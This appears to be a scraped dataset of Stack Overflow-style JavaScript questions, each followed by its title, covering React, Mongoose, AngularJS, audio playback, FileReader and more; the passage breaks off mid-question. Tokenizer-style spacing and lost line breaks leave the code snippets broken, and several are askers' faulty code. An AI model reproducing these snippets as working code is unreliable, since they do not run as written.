fbq ( 'track ' , 'Purchase ' , { content_type : 'Store ' , value : 75.00 , currency : 'USD ' , num_items : 4 , order_id : '20160710090000 ' , } ) ;",Advanced Matching with New Facebook Pixel in Javascript Web App "JS : So , you can assign a type of React.FC < PropsType > to a variable so that it is understood as a React Stateless Functional Component like so : However , I am having trouble understanding how to assign the same type to a FC built as a function declaration : I could assign the type to the props argument , and it would partly help since it would show what I expect to get from the caller ( minus the children prop ) but I do n't think that would help with any intellisense from the calling context . I also have no idea what to set as the return type of the second example.Thank you ! //Interface declarationinterface ButtonProps { color : string , text : string , disabled ? : boolean } // Function Componentlet Button : React.FC < ButtonProps > = function ( props ) { return < div > ... < /div > ; } //Props interface already declaredfunction Button ( props ) { render < div > ... < /div > ; }",Assigning type to a React SFC function declaration in TypeScript "JS : I have bilingual HTML 5 form , and I am using the type attribute to help change the keyboard layout for mobile devices.This is working fine , as the tel value is showing a numbers keypad , and the email is showing a custom keyboard for email typing.But I 'm wondering if there is a way to specify the language of the input , so the device switches to the appropriate keyboard ? I 've randomly tried this : But nothing happened , is this even possible in HTML5 or Javascript ? < input type= '' tel '' / > < input type= '' email '' / > < input type= '' ? '' / > < input type= '' text '' lang= '' ar '' / >",Using HTML 5 to change the keyboard language on mobile devices "JS : I have this simple issue : a div that contains a link , and the div has an onclick function defined . However , when I click the link , I just want to follow the link , and not fire the containing div 's function.FiddleHTMLJQueryCSSSo here , when I click the div , an alert is shown : that 's fine . When the link is clicked , I do n't want the alert to show.How to avoid this ? < div > < a href= '' http : //www.google.com '' target= '' _blank '' > Google < /a > < /div > $ ( 'div ' ) .click ( function ( ) { alert ( `` test '' ) ; } ) ; div { height : 100px ; width : 200px ; border : 1px solid red }",Clicking link inside div firing div 's onclick "JS : I am building an app and I have create 2 models . and the mediator Schema is created in order to populate multiple paths . The problem is that when i try to create a query like the returned array contains objects with null values when the match is not fulfilled . For example when I query with the previous matches I get the following results So what I want is , when a user or venue or something is NULL ( so the match is not fulfilled ) , the Whole object not to be returned . I got the following solution but i dont want to do it this way const UserSchema = new Schema ( { _id : Schema.Types.ObjectId , account : { type : String , unique : true } , email : String , first_name : String , last_name : String } const VenueSchema = new Schema ( { _id : Schema.Types.ObjectId , venue_type : String , capacity : Number } ) const MediatorSchema = new Schema ( { _id : Schema.Types.ObjectId , account : { type : String , unique : true } , user : { type : Schema.Types.ObjectId , ref : 'User ' } venue : { type : Schema.Types.ObjectId , ref : 'Venue ' } } ) var populateQuery = [ { path : 'user ' , match : { account : 'testuser1 ' } , select : 'email ' } , { path : 'venue ' , match : { venue_type : 'club ' } , select : 'venue_type ' } ] ; const confirmedVenues = await Mediator.find ( { } ) .exists ( 'venue ' , true ) .populate ( populateQuery ) .exec ( ) ; var i =confirmedVenues.length ; while ( i -- ) { if ( confirmedVenues [ i ] .user == null ) { temp.splice ( i,1 ) } }",How to exclude null values from Mongoose populate query "JS : When inserting new documents in mongodb , ids do n't look like ObjectId and instead they look like an object.Expected type : My mongodb version is 3.0.3 and this is pretty much the code and the schema `` _id '' : { `` _bsontype '' : `` ObjectID '' , `` id '' : `` U\u0013 [ -Ф~\u001d $ ©t '' , `` generationTime '' : 1.43439e+09 } `` _id '' : ObjectId ( `` 55107edd8e21f20000fd79a6 '' ) var Script = { run : function ( ) { return CourseModel.findQ ( ) .then ( function ( courses ) { return courses.map ( worker ) ; } ) .catch ( function ( error ) { console.log ( error ) ; } ) ; } } ; function worker ( course ) { var category = { name : course.name , displayOrder : 0 } ; return CategoryModel.createQ ( category ) .then ( function ( ) { course.set ( 'name ' , undefined ) ; return course.saveQ ( ) ; } ) ; } module.exports = Script ; var CategorySchema = new Schema ( { name : { type : String , required : true , unique : true } , active : { type : Boolean , default : true } , displayOrder : Number , updateDate : Date , subcategories : [ { type : Schema.Types.ObjectId , ref : 'subcategories ' } ] } ) ;",Why new documents in mongo have an object and not an ObjectId ? "JS : I am new to the AngularJS , I need to access the variable which is assigned inside the promise in Javascriptthe variable data1 can be accessed from HTML but it is showing undefined in Javascript this.reqData= this.profileService.getData ( ) ; var resp1 = angular.fromJson ( this.reqData ) ; this.data1 ; var that = this ; resp1. $ promise.then ( function ( data ) { that.data1= data.resource.resource ; } ) .catch ( function ( error ) { console.log ( error ) ; } ) ; console.log ( this.data1 ) ;",How to access variable declared inside promise in AngularJS "JS : How can I programmatically disable a song from playing in the background of a Chrome Android process ? Here 's a simple example of a page which plays a song in Chrome : https : //thomashunter.name/examples/chrome-audio-bug.htmlNotice how the song will keep playing in the background . While nice for a jukebox , it 'll drive a player of a web game insane.Is there a way to disable background playing of a single Audio element in Chrome ? Or , is there at least a callback for when the page loses focus so I could run song.stop ( ) ? var song = new Audio ( 'song.ogg ' ) ; song.loop = 'loop ' ; button = document.getElementById ( 'play ' ) ; button.addEventListener ( `` click '' , function ( ) { song.play ( ) ; } ) ;",How can I disable Audio Playback in Android Chrome when the process is Backgrounded ? "JS : I 'm being bitten by the Chrome/Webkit 71305 bug where un-hiding a large number of nodes causes Chrome to hang . ( Also occurs in Safari ) .I am filtering a list item that will be in a drop down menu with the following : Snippet of the markup : The time it takes for the Javascript to execute is negligible . It 's when Chrome needs to redraw the elements after deleting the text in the input that it hangs . Does not happen in FF6/IE7-9.I made a JSFiddle to illustrate the issue : http : //jsfiddle.net/uUk7S/17/show/Is there another approach I can take rather than hiding and showing the elements that will not cause Chrome to hang ? I have tried cloning the ul , processing in the clone and replacing the ul in the DOM completely with the clone , but am hoping there 's a better way as this is significantly slower in IE . jQuery.expr [ ' : ' ] .Contains = function ( a , i , m ) { return $ .trim ( ( a.textContent || a.innerText || `` '' ) ) .toUpperCase ( ) .indexOf ( m [ 3 ] .toUpperCase ( ) ) == 0 ; } ; var input = $ ( 'input ' ) ; var container = $ ( 'ul ' ) ; input.keyup ( function ( e ) { var filter = $ .trim ( input.val ( ) ) ; if ( filter.length > 0 ) { // Show matches . container.find ( `` li : Contains ( `` + filter + `` ) '' ) .css ( `` display '' , `` block '' ) ; container.find ( `` li : not ( : Contains ( `` + filter + `` ) ) '' ) .css ( `` display '' , `` none '' ) ; } else { container.find ( 'li ' ) .css ( `` display '' , `` block '' ) ; } } ) ; < input type= '' text '' / > < ul > < li > < div > < span title= '' 93252 '' > < label > < input type= '' checkbox '' > 3G < /label > < /span > < /div > < /li > < /ul >",Work around for live filtering 1500+ items with jQuery in Chrome "JS : I have an Cordova app developed with the Ionic framework that used to work well on iOS , but on iOS 10 it does not . When I start the app in the simulator nothing Angular specific works ( bindings , events , etc. ) . Here is a screenshot.If I attach the developer tools from Safari I can not see anything in the console . However , if I press the Refresh button and the index page is reloaded everything starts working properly.I suspect this is related to content security policy on iOS 10 . My Content-Security-Policy meta tag looks like this : I have tried various suggestions related to similar problems others have faced , but nothing helper . Any suggestion is appreciate . < meta http-equiv= '' Content-Security-Policy '' content= '' default-src 'self ' data : gap : file : //* * 'unsafe-eval ' ; script-src 'self ' 'unsafe-inline ' 'unsafe-eval ' * ; style-src 'self ' 'unsafe-inline ' * ; media-src * '' >",angular/ionic not working on iOS 10 "JS : I am attempting to have a line go between the two dots on my page . The images are draggable and placeable into the DIVs so their position can change yet the line still needs to connect them.So far I have tried this with only a custom line to start there . var s = document.getElementById ( `` Red1X '' ) ; var x = 200 , y = 200 ; s.style.x2 = x + `` px '' ; s.style.y2 = y + `` px '' ; function allowDrop ( ev ) { ev.preventDefault ( ) ; } function drag ( ev ) { ev.dataTransfer.setData ( `` text '' , ev.target.id ) ; } function drop ( ev ) { ev.preventDefault ( ) ; var data = ev.dataTransfer.getData ( `` text '' ) ; ev.target.appendChild ( document.getElementById ( data ) ) ; } # div1 { width : 17px ; height : 17px ; padding : 0px ; border : 1px solid # aaaaff ; float : left } < div id= '' div1 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < div id= '' div1 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < div id= '' div1 '' ondrop= '' drop ( event ) '' ondragover= '' allowDrop ( event ) '' > < /div > < img id= '' RED1 '' src= '' http : //i.imgur.com/By4xvE5.png '' draggable= '' true '' ondragstart= '' drag ( event ) '' align= '' left '' > < img id= '' RED2 '' src= '' http : //i.imgur.com/By4xvE5.png '' draggable= '' true '' ondragstart= '' drag ( event ) '' align= '' left '' > < svg height= '' 500 '' width= '' 500 '' > < line id= '' Red1X '' x1= '' 0 '' y1= '' 0 '' x2= '' 100 '' y2= '' 200 '' style= '' stroke : rgb ( 255,0,0 ) ; stroke-width:3 '' / > < /svg >",Make a Line between two elements using CSS and JavaScript "JS : So I 'm working off the information that was given here to add the ability that Google will redirect to the page a user was at before it redirected to google . I 'm currently using the latest versions of Express , PassportJS , and Google oauth2.For example , if a user hits page http : //example.com/privatecontent , it 'll automaticially redirect to Google asking to sign in , and after it 's sucessful it returns to my Node App , except it does n't know the last page was /privatecontent and instead redirects to the index.If I understand right , I can use the state parameter to let Google know to send the state param back so I can read it and redirect myself.I essentially would like my function to look a little something like this , but I do n't have access to req.headers , or just do n't know how honestly within passport.authenticate . app.get ( `` /auth/google '' , passport.authenticate ( `` google '' , { scope : [ `` https : //www.googleapis.com/auth/userinfo.profile '' , `` https : //www.googleapis.com/auth/userinfo.email '' ] , state : base64url ( JSON.stringify ( { lastUrl : req.headers [ 'referer ' ] } ) ) } ) , function ( req , res ) { } ) ;",PassportJS - Dynamically set state to allow redirect on callback "JS : I am new to JSONP development and I find out that IE 7/8 will not clean up the memory of which JSONP script takes . This leads to very high memory consumption in my page after running a couple of hours.I looked around the Internet and found most of the fixes are based on the tip from Neil Fraser . From the blog it is said that you need to delete all the properties in the script by using code likeUnfortunately the deletion will create error of `` Object does not support this action '' in IE and it will not free the memory.So my question is how to really free the memory of my JSONP script ? I put my testing code as below : Testing.htmlmemoryleaktest.jsYou can recreate the memory leak by pasting the code into two files and open the Testing.html.I used the Drip to track the leaks and in Drip you can see that the memory keeps increasing and the `` < `` script '' > '' is not deleted.Thank you very much for any help ! var tmp ; while ( tmp = document.getElementById ( 'JSONP ' ) ) { tmp.parentNode.removeChild ( tmp ) ; // this deletion will create error in IE . for ( var prop in tmp ) delete tmp [ prop ] ; tmp = null ; } < html > < head > < /head > < body > < script > var script , head = document.getElementsByTagName ( 'head ' ) [ 0 ] , loadCount= 0 , uuid= 1 , URL= `` memleaktest.js ? uuid= '' , clearConsole = function ( ) { var con= document.getElementById ( `` console '' ) ; while ( con.childNodes.length ) con.removeChild ( con.childNodes [ 0 ] ) ; } , log = function ( msg ) { var div= document.createElement ( `` DIV '' ) , text= document.createTextNode ( msg ) , con= document.getElementById ( `` console '' ) ; div.appendChild ( text ) ; con.appendChild ( div ) ; } , test = { `` msg '' : null , `` data '' : null } ; var loaded= function ( ) { if ( ! test.msg ) return setTimeout ( loaded,10 ) ; log ( `` loaded # '' + loadCount + `` : `` + test.msg ) ; var tmp ; while ( tmp = document.getElementById ( 'JSONP ' ) ) { tmp.parentNode.removeChild ( tmp ) ; // not working in IE 7/8 // for ( var prop in tmp ) delete tmp [ prop ] ; tmp = null ; } test.msg = test.data = null ; if ( -- loadCount ) setTimeout ( load , 100 ) ; } ; var load = function ( ) { var url= URL + ( uuid ++ ) ; log ( `` load via JSONP : `` +url ) ; script= document.createElement ( 'script ' ) ; script.id = 'JSONP ' ; script.type = 'text/javascript ' ; script.charset = 'utf-8 ' ; script.src = url ; head.appendChild ( script ) ; setTimeout ( loaded,1000 ) ; } ; < /script > < div > < button onclick= '' loadCount=3 ; load ( ) ; '' name= '' asd '' value= '' asdas '' > jsonp load < /button > < button onclick= '' clearConsole ( ) ; '' name= '' asd '' value= '' asdas '' > clear Console < /button > < /div > < div id= '' console '' > < /div > < /body > < /html > test.msg = `` loaded # '' +loadCount ; test.data = `` test data with 1MB size '' ;",How to clean up JSONP memory in Internet Exploreor "JS : How can I read a file using FileReader ( ) without it blocking I/O while reading ? The following is how I am doing it now : Which works fine except that I need to process very large images ( > 4k resolution ) which takes a considerable amount of time . I ca n't have user input blocked from using other features on the page while reading . function readImageFile ( imageFile , callback ) { var reader = new FileReader ( ) ; reader.onload = function ( e ) { callback ( e.target.result ) ; } ; reader.readAsDataURL ( imageFile ) ; }",Read a file in Javascript without blocking I/O "JS : Given 2 dimensional array a : How can I scale it by a given factor ? For example , array b is array a scaled by 4 : This is the code I wrote to perform this operation but it is slow ( client browser : Chrome ) when dealing with large arrays ( 200 x 200 ) and scaling lets say by a facor of 16.I understand my implementation is some variant of O ( n^2 ) and is highly inefficient . I am looking for a better way to do this or a library that does it better and faster . My end result is that my N X N array with over N > 200 can scale to an array of 800 x 800 in the most efficient , fastest and least memory intensive way . let a = [ [ 0 , 0 , 1 , 0 ] , [ 0 , 1 , 1 , 1 ] , [ 0 , 0 , 1 , 0 ] , [ 0 , 0 , 1 , 1 ] ] let b = [ [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 0 , 0 , 0 , 0 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] ] // scale an array by a factor of 'scale'const scaledMatrixArray = ( arr , scale ) = > { let newArr = [ ] ; arr.forEach ( ( el ) = > { let newArrRow = [ ] ; el.forEach ( ( el ) = > { for ( let j = 0 ; j < scale ; j++ ) { newArrRow.push ( el ) ; } } ) ; for ( let i = 0 ; i < scale ; i++ ) { newArr.push ( newArrRow ) ; } } ) ; return newArr ; } ;",How to scale a two dimensional array in javascript fast ? "JS : EDIT : I 've found an answer ( with help from Tejs ) ; see below.I 'm developing a Metro app using HTML/Javascript , along with some C # -based helper libraries . Generally speaking I 'm having a lot of success calling C # methods from Javascript , but I ca n't seem to get passing arrays ( in my specific case , arrays of strings ) to work . Passing individual strings works without issue.My code is something like this : Then , in C # : The problem is that the method `` Foo '' gets an array with the correct length ( so in the above example , 3 ) , but all of the elements are empty . I also tried this : That did n't work either - again , the array was the correct size , but all the elements were null.I 've tried passing string literals , string variables , using `` new Array ( ... ) '' in javascript , changing the signature of `` Foo '' to `` params string [ ] '' and `` params object [ ] '' , all to no avail.Since passing individual strings works fine , I can probably work around this with some hackery ... but it really seems like this should work . It seems really odd to me that the array is passed in as the right size ( i.e . whatever 's doing the marshaling knows SOMETHING about the javascript array structure ) and yet the contents are n't getting populated . // in javascript projectvar string1 = ... ; var string2 = ... ; var string3 = ... ; var result = MyLibrary.MyNamespace.MyClass.foo ( [ string1 , string2 , string3 ] ) ; // in C # projectpublic sealed class MyClass { public static string Foo ( string [ ] strings ) { // do stuff ... } } public static string Foo ( object [ ] strings ) { ...",Pass array from javascript to C # in Metro app "JS : Possible Duplicate : When should I use double or single quotes in JavaScript ? Do `` '' and `` have different meanings in JavaScript ? Because I keep seeing those two usages in jQuery , for instance : and $ ( `` '' ) $ ( `` )",Do `` '' and `` have different meanings in JavaScript ? "JS : Im generating some content with PHP , but after the number of contents is more than 5 the height becomes greater than that of the div , so i do n't want it to stack on top of the div , but to move to the right of the div and start from the top . Here 's an image.PHPAs it looks , the philosophy books in the example goes down , and i want it to go to the right and start another column of five books and so on.Any ideas i can do this with JQuery and CSS ? echo ' < a class= '' LibSectOpen '' > < span style= '' display : none '' class= '' SectionName '' > '. $ Section . ' < /span > < div class= '' LibrarySects '' > < div class= '' LibrarySectsHeader '' > '. $ Section . ' < /div > < div class= '' LibrarySectsShelf '' > ' ; while ( $ row = mysql_fetch_array ( $ log2 ) ) { echo ' < div class= '' LibrarySectsShelf_Book '' style= '' background-color : '. $ Color . ' '' title= '' Author : '. $ row [ 'bbookauthor ' ] . ' '' > '. $ row [ 'bbookname ' ] . ' < /div > ' ; } echo ' < /div > < /div > < /a > ' ; .LibrarySectsHeader { border:1px # CCC solid ; width:500px ; margin:2px ; padding:1px ; height:18px ; border-radius:2px 2px 2px 2px ; font-size:10px ; color : rgba ( 0,0,0,1 ) ! important ; background-color : rgba ( 255,255,255,0.6 ) ; line-height:18px ; } .LibrarySectsShelf { border:1px # CCC solid ; width:499px ; margin:2px ; padding:1px ; height:129px ; border-radius:2px 2px 2px 2px ; font-size:10px ; background-color : rgba ( 255,255,255,0.2 ) ; line-height:18px ; background-image : url ( images/bg/wood.jpg ) ; background-size:100 % ; background-repeat : no-repeat ; } .LibrarySectsShelf_Book { border:1px # C90 solid ; width:148px ; height:23px ; margin-bottom:1px ; border-radius:3px 3px 3px 3px ; font-size:10px ; background-color : rgba ( 51,153,255,0.9 ) ; padding-left:2px ; line-height:22px ; color : rgba ( 255,255,255,1 ) ! important ; overflow : hidden ; } .LibraryBooks { border:1px # CCC solid ; width:502px ; margin:2px ; padding:1px ; border-radius:2px 2px 2px 2px ; font-size:10px ; background-color : rgba ( 102,102,102,1 ) ; line-height:18px ; }",How to pack contents in a div to move to the right when content reaches bottom of the div JS : I have a variable named foo and function named foo.What 's happening here ? Why does the variable name override function declaration ? //variable followed by function declarationvar foo= '' bar '' ; function foo ( ) { return `` bar '' ; } //function declaration followed by variablefunction foo ( ) { return `` bar '' ; } var foo= '' bar '' ; //When I call foo it returns string bar ; //When I enquired foo ( ) it throws error,What will the reference be when a variable and function have the same name ? "JS : I am using node Agenda module to fire up various jobs/events users created . I want to be able to create Jobs such that all of them are handled by one function call back , with each Event is distinguished based on the event parameters . Example code BelowWith this code , Jobs in mongodb is updated instead of inserted . is there any way i can force the agenda to insert instead of update ? if it is not possible with agenda , is there any other module which does this ? Thanks in advance for your valuable time var mongoConnectionString = `` mongodb : //127.0.0.1/agenda '' ; var Agenda = require ( 'agenda ' ) ; var agenda = new Agenda ( { db : { address : mongoConnectionString } } ) ; agenda.define ( 'user defined event ' , function ( job , done ) { var eventParams = job.attrs.data ; if ( eventParams.params === `` Test '' ) { handleEvent1 ( ) ; } else if ( eventParams.params === `` Test 2 '' ) { handleEvent2 ( ) ; } else { handleEvent3 ( ) ; } done ( ) ; } ) ; agenda.on ( 'ready ' , function ( ) { console.log ( `` Ok Lets get start '' ) ; agenda.start ( ) ; } ) ; // some how we get our call back executed . Note that params is the unique to each job.var userEvent = function ( params ) { // Handle a event which repeats every 10 secs agenda.every ( '10 seconds ' , 'user defined event ' , params ) ; }",How to define multiple jobs with same name programmatically in Node Agenda "JS : I am trying to learn vue and created the sample below purely for test purposes : But , before inserting any values the page will display the mustache syntax for a brief moment . Almost as if VueJS is n't working . After a short while VueJS will kick in and fill in the right values for the variables.Why is that happening and how can I fix this behavior ? import App from '../comp/app.vue ' ; import Two from '../comp/two.vue ' ; const routes = [ { path : '/ ' , component : App } , { path : '/two ' , component : Two } ] const router = new VueRouter ( { base : base.pathname , mode : `` history '' , routes // short for routes : routes } ) window.app = new Vue ( { el : `` # container '' , data : { message : `` home '' , date : new Date ( ) , seen : false , fruits : [ { name : `` apple '' } , { name : `` orange '' } , { name : `` banana '' } ] } } )",VueJS - Mustache syntax showing up for a split second "JS : Adding displaySurface does not provoke option restriction for the user before sharing his own screen.I am trying to limit those options to only let the user select anything except browser tabs.I tried setting displaySurface explicitly to 'monitor ' and still all options being showed up.The expected result is to show 'Your Entire Screen ' or 'Application Window ' and not 'Chrome Tab ' . async startCaptureMD ( ) { let captureStream = null ; var screen_constraints = { video : { cursor : `` always '' , displaySurface : `` monitor '' } } ; try { captureStream = await navigator.mediaDevices.getDisplayMedia ( screen_constraints ) ; } catch ( err ) { console.log ( err.message , err.code ) ; } return captureStream ; } ,",displaySurface constraint not restricting user share screen selection options "JS : Lets say I want to maintain a list of items per user ( in MongoDB with Mongoose ODM in Node.js environment ) and later query to see if an item is owned by a user . For example , I want to store all of the favorite colors of each user , and later see if a specific color is owned by a specific user . It seems to me that it would be better to store the colors as an embedded object within the user document , rather than an array within the user document . The reason why is that it seems more efficient to check to see if a color exists in an object as I can just check to see if the object property exists : Versus an array where I have to iterate through the entire array to see if the color exists somewhere in the array : However , from many of the examples I 've seen online , it seems like using arrays for this type of thing is fairly prevalent . Am I missing something ? What are the pros/cons , and best way to do this ? if ( user.colors.yellow ) { //true case } else { //false case } for ( var i = 0 ; i < user.colors.length ; i++ ) { if ( user.colors [ i ] === `` yellow '' ) { //true case } else { //false case } }",MongoDB arrays vs objects "JS : I am a newbie to javascript , so forgive my naiveté here . I have discovered a behavior that appears to be inconsistent , at least to me . In doing some testing I put in the following two lines of code : I was fully expecting both to give me the same result , but no , I didn't.gave me : whereasgave me the alert window with : Can anyone help me understand why I got different results even though I passed the exact same arguments ? Added note : This is not a duplicate question , for the one referenced above asks which is better , and not what is the difference between the two . console.log ( document.getElementById ( `` errorMessage '' ) ) ; window.alert ( document.getElementById ( `` errorMessage '' ) ) ; console.log ( document.getElementById ( `` errorMessage '' ) ) ; < span id= '' errorMessage '' > window.alert ( document.getElementById ( `` errorMessage '' ) ) ; [ Object HTMLSpanElement ]",Javascripts commands : window.alert vs console.log "JS : I 'm trying to use this javascript to loop an audio element : music.js : When I include this as a script in a plain html file and open the html file in Safari 5.1 , it loops just fine . When I include this javascript from my Rails application running on a local rails server , the audio plays , but does not loop . I have tried using a callback on the 'ended ' event to set the time to zero and play again ( as suggested here , but that does not work either.Is it possible that rails is n't sending enough information in the http header ? myAudio = new Audio ( '/assets/drumloop.mp3 ' ) ; myAudio.loop = true ; myAudio.play ( ) ;",HTML 5 audio element not looping in Rails JS : Possible Duplicate : What is the 'new ' keyword in JavaScript ? creating objects from JS closure : should i use the “ new ” keyword ? See this code : What 's the difference between f1 and f2 ? ​ function friend ( name ) { return { name : name } ; } var f1 = friend ( 'aa ' ) ; var f2 = new friend ( 'aa ' ) ; alert ( f1.name ) ; // - > 'aa'alert ( f2.name ) ; // - > 'aa ',What 's the difference between ` f ( ) ` and ` new f ( ) ` ? "JS : I came across the following question on StackOverflow : How many parameters are too many ? This got me thinking , is there a practical limit imposed on the number of parameters of a JS function ? Turns out , JavaScript imposes a practical limit of 65536 parameters on functions.However , what 's interesting is that the error message says that the limit is 65535 parameters : So , I have two questions : Why this discrepancy ? Is it an off-by-one error in the language implementations ? Does the ECMAScript standard impose this limit on function parameters ? test ( 65536 ) ; // okaytest ( 65537 ) ; // too manyfunction test ( n ) { try { new Function ( args ( n ) , `` return 42 '' ) ; alert ( n + `` parameters are okay . `` ) ; } catch ( e ) { console.log ( e ) ; alert ( n + `` parameters are too many . `` ) ; } } function args ( n ) { var result = new Array ( n ) ; for ( var i = 0 ; i < n ; i++ ) result [ i ] = `` x '' + i ; return result.join ( `` , '' ) ; } SyntaxError : Too many parameters in function definition ( only 65535 allowed )",How many parameters are too many in JavaScript ? "JS : After years of using JavaScript I met an error that I had never seen.I wanted to calculate the intersection between two Sets , so I wrote : And it works , but I noticed that I can shorten the above code . Since the filter method just wants a function and invokes it no matter how it is defined , and I wrote : And in this case , unexpectedly , I receive the following error : Uncaught TypeError : Method Set.prototype.has called on incompatible receiver undefinedI also noticed that this does n't happen if I bind Set.prototype.add to the variable : My question is : why does it happen ? Why b.has is not a valid callback ? let a = new Set ( [ 1 , 2 , 3 ] ) ; let b = new Set ( [ 2 , 3 , 4 ] ) ; let intersection = [ ... a ] .filter ( x = > b.has ( x ) ) ; console.log ( intersection ) ; let a = new Set ( [ 1 , 2 , 3 ] ) ; let b = new Set ( [ 2 , 3 , 4 ] ) ; let intersection = [ ... a ] .filter ( b.has ) ; console.log ( intersection ) ; let a = new Set ( [ 1 , 2 , 3 ] ) ; let b = new Set ( [ 2 , 3 , 4 ] ) ; let intersection = [ ... a ] .filter ( Set.prototype.bind ( b ) ) ; console.log ( intersection ) ;",Method Set.prototype.has called on incompatible receiver undefined "JS : Can someone explain what the difference is between these closures ? Is there a difference ? I have n't previously seen the second example ( parentheses inside ) .And here , is there a difference between these closures ? Is there a scenario where there would be a difference ? ( function ( a , b ) { // ... } ) ( x , y ) ; // Parentheses inside ( function ( a , b ) { // ... } ( x , y ) ) ; FOO.Bar = ( function ( ) { // ... } ) ( ) ; FOO.Bar = ( function ( ) { // ... } ( ) ) ;",Difference between closures with parentheses inside vs outside "JS : I am using react-day-picker package to select a date with the year/month props included . However , the year/month dropdown does n't work properly on iOS mobile browsers : You can see the demo on this link ( must open it on an iOS device ) : https : //codesandbox.io/s/0y84wrp8mnAny workaround for this ? import React from 'react ' ; import ReactDOM from `` react-dom '' ; import DayPickerInput from 'react-day-picker/DayPickerInput ' ; import 'react-day-picker/lib/style.css ' ; const currentYear = new Date ( ) .getFullYear ( ) ; const fromMonth = new Date ( currentYear , 0 ) ; const toMonth = new Date ( currentYear + 10 , 11 ) ; function YearMonthForm ( { date , localeUtils , onChange } ) { const months = localeUtils.getMonths ( ) ; const years = [ ] ; for ( let i = fromMonth.getFullYear ( ) ; i < = toMonth.getFullYear ( ) ; i += 1 ) { years.push ( i ) ; } const handleChange = function handleChange ( e ) { const { year , month } = e.target.form ; onChange ( new Date ( year.value , month.value ) ) ; } ; return ( < form className= '' DayPicker-Caption '' > < select name= '' month '' onChange= { handleChange } value= { date.getMonth ( ) } > { months.map ( ( month , i ) = > ( < option key= { month } value= { i } > { month } < /option > ) ) } < /select > < select name= '' year '' onChange= { handleChange } value= { date.getFullYear ( ) } > { years.map ( year = > ( < option key= { year } value= { year } > { year } < /option > ) ) } < /select > < /form > ) ; } export default class Example extends React.Component { constructor ( props ) { super ( props ) ; this.handleYearMonthChange = this.handleYearMonthChange.bind ( this ) ; this.state = { month : fromMonth , } ; } handleYearMonthChange ( month ) { this.setState ( { month } ) ; } render ( ) { const dayPickerProps = { month : this.state.month , fromMonth : fromMonth , toMonth : toMonth , captionElement : ( { date , localeUtils } ) = > ( < YearMonthForm date= { date } localeUtils= { localeUtils } onChange= { this.handleYearMonthChange } / > ) } ; return ( < div className= '' YearNavigation '' > < DayPickerInput showOverlay= { true } dayPickerProps= { dayPickerProps } / > < /div > ) ; } } ReactDOM.render ( < Example / > , document.getElementById ( `` root '' ) ) ;",Date picker month / year does n't work on iOS "JS : Yesterday I added react-router-dom to my project and now when I leave and come back to my Sky element in my nav , it reloads the sky and I get Warning : flattenChildren ( ... ) : Encountered two children with the same key , element-id-50 . Child keys must be unique ; when two children share a key , only the first child will be used . ( the number 50 used above is just an example , it throws this error ~40 times each time all with different ids ) The problem seems to stem from here in my sky.js file : Since each time I 'm going to another screen , this component is unmounting and then re-mounting when I come back.When receiveSkySetup is finished , the render function in sky.js creates a bunch of divs called Sectors and each Sector creates a few divs called Slots . Then inside of Slot.render I have : The key element in the SkyElement call above is what 's throwing the 40+ errors on each mounting.Happy to provide more code if needed.Any help would be hugely helpful . Thanks ! Edit : Console logging elementsDigging in a bit more , the items are doubling in my store.So , on the 2nd render of the sky tab , the full list of element ids is [ `` 0 '' , `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' , `` 5 '' , `` 6 '' , `` 7 '' , `` 17 '' , `` 18 '' , `` 19 '' , `` 55 '' , `` 56 '' , `` 57 '' , `` 58 '' , `` 59 '' , `` 60 '' , `` 61 '' , `` 62 '' , `` 63 '' , `` 64 '' , `` 65 '' , `` 66 '' , `` 67 '' , `` 77 '' , `` 78 '' , `` 0 '' , `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' , `` 5 '' , `` 6 '' , `` 7 '' , `` 17 '' , `` 18 '' , `` 19 '' , `` 55 '' , `` 56 '' , `` 57 '' , `` 58 '' , `` 59 '' , `` 60 '' , `` 61 '' , `` 62 '' , `` 63 '' , `` 64 '' , `` 65 '' , `` 66 '' , `` 67 '' , `` 77 '' , `` 78 '' ] On the 3rd render , elements 0-78 ( the ids that apply from the array above ) will be added again to the arrayIn Slot.jselements here will be n times the number of loads that Sky has done.In sky.jsPrinting elements.length I see that they double here too . Slot.js is pulling from the same store , so that makes senseIn my 